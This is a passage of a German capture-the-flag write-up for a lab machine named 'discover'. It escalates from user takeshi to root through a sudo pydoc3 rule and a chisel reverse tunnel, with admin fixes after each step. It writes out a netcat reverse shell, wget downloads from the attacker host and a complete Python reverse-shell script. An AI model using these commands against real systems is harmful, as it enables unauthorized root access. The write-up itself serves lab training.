**Bewertung:** **Erfolg!** Die `id`-Ausgabe bestätigt, dass wir nun eine Shell als Benutzer `takeshi` haben.

**Empfehlung (Pentester):** Überprüfen Sie die sudo-Rechte für `takeshi` (`sudo -l`).
**Empfehlung (Admin):** Sudo-Regel für `ken` entfernen.

takeshi@discover:/$ sudo -l
Matching Defaults entries for takeshi on discover:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User takeshi may run the following commands on discover:
    (root) NPASSWD: /usr/bin/pydoc3
                     

**Analyse:** Überprüfung der sudo-Rechte für den Benutzer `takeshi`.

**Bewertung:** `takeshi` darf `/usr/bin/pydoc3` als `root` ohne Passwort ausführen. `pydoc3` ist das Python 3 Dokumentationstool und kann potenziell missbraucht werden, um Befehle auszuführen.

**Empfehlung (Pentester):** Recherchieren Sie Methoden (z.B. GTFOBins), um `pydoc3` mit sudo-Rechten zur Privilegienerweiterung zu `root` zu nutzen. Die Option `-b` zum Starten eines Webservers ist ein möglicher Ansatzpunkt.
**Empfehlung (Admin):** Entfernen Sie die sudo-Regel für `takeshi`. Gewähren Sie sudo-Rechte nur für absolut notwendige Befehle.

takeshi@discover:/$ pydoc3 --help
pydoc - the Python documentation tool

pydoc3  ...
    Show text documentation on something.   may be the name of a
    Python keyword, topic, function, module, or package, or a dotted
    reference to a class or function within a module or module in a
    package.  If  contains a '/', it is used as the path to a
    Python source file to document. If name is 'keywords', 'topics',
    or 'modules', a listing of these things is displayed.

pydoc3 -k 
    Search for a keyword in the synopsis lines of all available modules.

pydoc3 -n 
    Start an HTTP server with the given hostname (default: localhost).

pydoc3 -p 
    Start an HTTP server on the given port on the local machine.  Port
    number 0 can be used to get an arbitrary unused port.

pydoc3 -b
    Start an HTTP server on an arbitrary unused port and open a Web browser
    to interactively browse documentation.  This option can be used in
    combination with -n and/or -p.

pydoc3 -w  ...
    Write out the HTML documentation for a module to a file in the current
    directory.  If  contains a '/', it is treated as a filename; if
    it names a directory, documentation is written for all the contents.
                     

**Analyse:** Überprüfung der Hilfe für `pydoc3`.

**Bewertung:** Die Option `-b` startet einen lokalen HTTP-Server und versucht, einen Browser zu öffnen. Wenn dies als `root` geschieht, läuft der Server als `root`. Der Server könnte möglicherweise zum Ausführen von Befehlen missbraucht werden.

**Empfehlung (Pentester):** Versuchen Sie `sudo /usr/bin/pydoc3 -b`. Da Sie keinen direkten Zugriff auf den gestarteten Browser oder den lokalen Port haben, benötigen Sie Port Forwarding (z.B. mit Chisel oder SSH), um vom Angreifersystem aus auf den pydoc3-Webserver zuzugreifen.
**Empfehlung (Admin):** Sudo-Regel entfernen.

takeshi@discover:/$ sudo /usr/bin/pydoc3 -b -p 8888
Server ready at http://localhost:8888/
Server commands: [b]rowser, [q]uit
server> 
                     

**Analyse:** `pydoc3` wird mit sudo gestartet und an Port 8888 gebunden. Der Server läuft nun als `root`.

**Bewertung:** Der Server läuft, aber wir können nicht direkt darauf zugreifen.

**Empfehlung (Pentester):** Richten Sie einen Reverse-Port-Forward ein, um Port 8888 des Ziels auf einen lokalen Port des Angreifersystems zu leiten.
**Empfehlung (Admin):** Sudo-Regel entfernen.

takeshi@discover:/$ nc -e /bin/bash 192.168.2.199 5555
┌──(root㉿CCat)-[~/shells] └─# nc -lvnp 5555
listening on [any] 5555 ...
connect to [192.168.2.199] from (UNKNWN) [192.168.2.129] 34668
id
uid=1001(takeshi) gid=1001(takeshi) groups=1001(takeshi)
                     

**Analyse:** Ein Versuch, eine direkte Reverse Shell als `takeshi` zu starten (wahrscheinlich um eine stabilere Shell zu haben oder als alternativer Ansatz, bevor der pydoc3-Exploit vollständig umgesetzt wird).

**Bewertung:** Etabliert eine Shell als `takeshi`, bringt aber keine Root-Rechte.

**Empfehlung (Pentester):** Weiter mit dem pydoc3-Exploit.
**Empfehlung (Admin):** Keine Aktion.

**Einrichten des Port Forwarding mit Chisel**

┌──(root㉿CCat)-[~/Hackingtools/chisel] └─# python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
                     
takeshi@discover:/$ cd /tmp/
takeshi@discover:/tmp$ wget 192.168.2.199/chisel
--2024-09-11 15:42:04--  http://192.168.2.199/chisel
Connecting to 192.168.2.199:80... connected.
HTTP request sent, awaiting response... 200 K
Length: 8945816 (8.5M) [application/octet-stream]
Saving to: ‘chisel’

chisel                  100%[===================>]   8.53M  --.-KB/s    in 0.03s   

2024-09-11 15:42:04 (259 MB/s) - ‘chisel’ saved [8945816/8945816]
                     

**Analyse:** Auf dem Angreifersystem wird ein HTTP-Server gestartet, um das Chisel-Binary bereitzustellen. Auf dem Zielsystem wird Chisel nach `/tmp` heruntergeladen.

**Bewertung:** Notwendige Schritte, um das Tunneling-Tool auf das Ziel zu bekommen.

**Empfehlung (Pentester/Admin):** Keine Aktion.

┌──(root㉿CCat)-[~/Hackingtools/chisel] └─# ./chisel server -p 9080 --reverse
2024/09/11 15:41:02 server: Reverse tunnelling enabled
2024/09/11 15:41:02 server: Fingerprint f/pMkCL6XV9LtbcsLTqqYIAmd4pEKPsiZ68JNejlwjo=
2024/09/11 15:41:02 server: Listening on http://0.0.0.0:9080
                      
takeshi@discover:/tmp$ chmod +x chisel
takeshi@discover:/tmp$ ./chisel client 192.168.2.199:9080 R:8888:127.0.0.1:8888
2024/09/11 15:42:46 client: Connecting to ws://192.168.2.199:9080
2024/09/11 15:42:46 client: Connected (Latency 339.958µs)
                      

**Analyse:** Auf dem Angreifersystem wird der Chisel-Server im Reverse-Modus auf Port 9080 gestartet. Auf dem Zielsystem wird Chisel ausführbar gemacht und als Client gestartet. Der Client verbindet sich zum Server und richtet einen Reverse-Tunnel ein: Anfragen an den lokalen Port 8888 des *Angreifers* (`R:8888`) werden an den lokalen Port 8888 des *Ziels* (`127.0.0.1:8888`) weitergeleitet.

**Bewertung:** Der Tunnel ist erfolgreich aufgebaut. Nun kann der Pentester auf seinem eigenen System `http://localhost:8888` aufrufen, um auf den als `root` laufenden pydoc3-Server zuzugreifen.

**Empfehlung (Pentester):** Greifen Sie auf `http://localhost:8888` zu und suchen Sie nach einer Möglichkeit, Code auszuführen.
**Empfehlung (Admin):** Erkennung und Blockierung von Tunneling-Tools wie Chisel durch Netzwerk-Monitoring oder Endpoint Security.

Die folgenden Schritte mit `authorized_keys` und einem weiteren SSH-Login scheinen ein alternativer, nicht notwendiger Pfad oder ein Missverständnis zu sein, da der pydoc3-Exploit bereits vorbereitet wird. Wir kommentieren sie, gehen aber davon aus, dass der pydoc3-Pfad zum Erfolg führt.

┌──(root㉿CCat)-[~/.ssh] └─# python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
                      
takeshi@discover$ wget 192.168.2.199/authorized_keys
--2024-09-11 15:45:31--  http://192.168.2.199/authorized_keys
Connecting to 192.168.2.199:80... connected.
HTTP request sent, awaiting response... 200 K
Length: 91 [application/octet-stream]
Saving to: ‘authorized_keys’

authorized_keys         100%[===================>]      91  --.-KB/s    in 0s      

2024-09-11 15:45:31 (2.17 MB/s) - ‘authorized_keys’ saved [91/91]
                      
┌──(root㉿CCat)-[~] └─# ssh takeshi@192.168.2.129
The authenticity of host '192.168.2.129 (192.168.2.129)' can't be established.
ED25519 key fingerprint is SHA256:3dqq7f/jDEeGxYQnF2zHbpzEtjjY49/5PvV5/4MMqns.
...
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '192.168.2.129' (ED25519) to the list of known hosts.
Enter passphrase for key '/root/.ssh/id_rsa': 
takeshi@discover$ 
                      

**Analyse:** Es wird versucht, den öffentlichen SSH-Schlüssel des Angreifers auf das Zielsystem herunterzuladen (vermutlich um ihn in `/home/takeshi/.ssh/authorized_keys` zu platzieren) und sich dann passwortlos anzumelden.

**Bewertung:** Scheint zu funktionieren, etabliert aber nur eine weitere Shell als `takeshi`, was für die Root-Privilegienerweiterung nicht direkt hilft.

**Empfehlung (Pentester):** Fokus auf pydoc3.
**Empfehlung (Admin):** Keine Aktion.

**Fortsetzung des pydoc3-Exploits**

http://localhost:8888/
 
Python 3.9.2 [default, GCC 10.2.1 20210110]
Linux-5.10.0-23-amd64-x86_64-with-glibc2.31
Module Index : Topics : Keywords
 
 
 
Index of Modules	 
..
....

 
Built-in Modules
  
tarfile
telnetlib
tempfile
test (package)
textwrap
 
reportbug (package)
requests (package)
	requests_toolbelt (package)
samba (package)
six
talloc
tdb
urllib3 (package)
yaml (package)

pydoc by Ka-Ping Yee
..
....
                     

**Analyse:** Zugriff auf den pydoc3-Webserver über den Chisel-Tunnel (`http://localhost:8888` auf dem Angreifersystem). Die Seite zeigt eine Liste von Python-Modulen.

**Bewertung:** Bestätigt den Zugriff auf den als `root` laufenden pydoc3-Server. GTFOBins oder andere Recherchen legen nahe, dass pydoc3 über die URL-Parameter (`get?key=`) Module importieren und potenziell Code ausführen kann.

**Empfehlung (Pentester):** Erstellen Sie ein einfaches Python-Skript mit einem Reverse-Shell-Payload auf dem Zielsystem (z.B. in `/tmp/`). Versuchen Sie dann, dieses Skript über den pydoc3-Server zu importieren oder auszuführen, z.B. über `http://localhost:8888/get?key=/tmp/payload.py` (der genaue Mechanismus kann variieren).
**Empfehlung (Admin):** Sudo-Regel entfernen.

takeshi@discover$ nano noname.py
takeshi@discover$ cat noname.py
#!/usr/bin/python3

import os
import socket
import subprocess

s = socket.socket(socket.AF_INET,socket.SCK_STREAM)
s.connect(("192.168.2.199",443))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
p=subprocess.call(["/bin/bash","-i"])
                     

**Analyse:** Auf dem Zielsystem wird ein Python-Skript (`noname.py`) erstellt, das eine Standard-Reverse-Shell zum Angreifer (`192.168.2.199`) auf Port `443` aufbaut.

**Bewertung:** Vorbereitung des Payloads für den pydoc3-Exploit.

**Empfehlung (Pentester):** Starten Sie einen Listener auf Port 443 und versuchen Sie, das Skript über den pydoc3-Webserver auszulösen.
**Empfehlung (Admin):** Keine Aktion.

http://localhost:8888/get?key=noname.py
noname.py
                     

**Analyse:** Zugriff auf eine URL auf dem pydoc3-Server, die versucht, das erstellte Python-Skript (`noname.py`) über den `key`-Parameter zu laden oder auszuführen.

**Bewertung:** Dies ist der Trigger für den Exploit.

**Empfehlung (Pentester):** Überprüfen Sie den Listener auf Port 443.
**Empfehlung (Admin):** Keine Aktion.

┌──(root㉿CCat)-[~] └─# nc -lvnp 443
listening on [any] 443 ...
connect to [192.168.2.199] from (UNKNWN) [192.168.2.129] 44402
root@discover:/home/takeshi# 
                     

**Analyse:** Der Netcat-Listener auf Port 443 empfängt eine Verbindung vom Zielsystem. Der erhaltene Prompt ist `root@discover:/home/takeshi#`.

**Bewertung:** **Privilege Escalation erfolgreich!** Der pydoc3-Exploit hat funktioniert. Das Python-Skript wurde vom als `root` laufenden pydoc3-Prozess ausgeführt und hat eine Root-Shell zum Angreifer aufgebaut.

**Empfehlung (Pentester):** Ziel erreicht! Suchen Sie die Root-Flag.
**Empfehlung (Admin):** Entfernen Sie die sudo-Regel für `pydoc3` dringend. Überprüfen Sie das System auf weitere Fehlkonfigurationen.

Flags

root@discover:/home/ken# cat user.txt
6250095210f0c82aea6330a1269f8d97
root@discover:/# cd ~
root@discover:~# cat root.txt
d1fbb1fc68df7c8bdb6160ef34015ad1

**Analyse:** Nach Erlangung der Root-Rechte über den pydoc3-Exploit werden die User- und Root-Flags aus den entsprechenden Verzeichnissen (`/home/ken/user.txt` und `/root/root.txt`) ausgelesen.

**Bewertung:** Beide Flags wurden erfolgreich gefunden und erfasst. Die Aufgabe ist abgeschlossen.

**Empfehlung (Pentester):** Dokumentieren Sie die Flags und den gesamten Prozess (SMB Credential Discovery -> SMB Share Upload -> VHost RCE -> Sudo/Setarch -> Sudo/Pydoc3 -> Root) im Bericht.
**Empfehlung (Admin):** Beheben Sie alle identifizierten Schwachstellen: SMB-Passwort für 'nobody', unsichere SMB-Share-Berechtigungen ('ken'), Webserver-Fehlkonfiguration (VHost-Mapping, ausführbare Endungen), sudo-Regeln für 'setarch' und 'pydoc3'. Überprüfen Sie System- und Dienstkonfigurationen gründlich.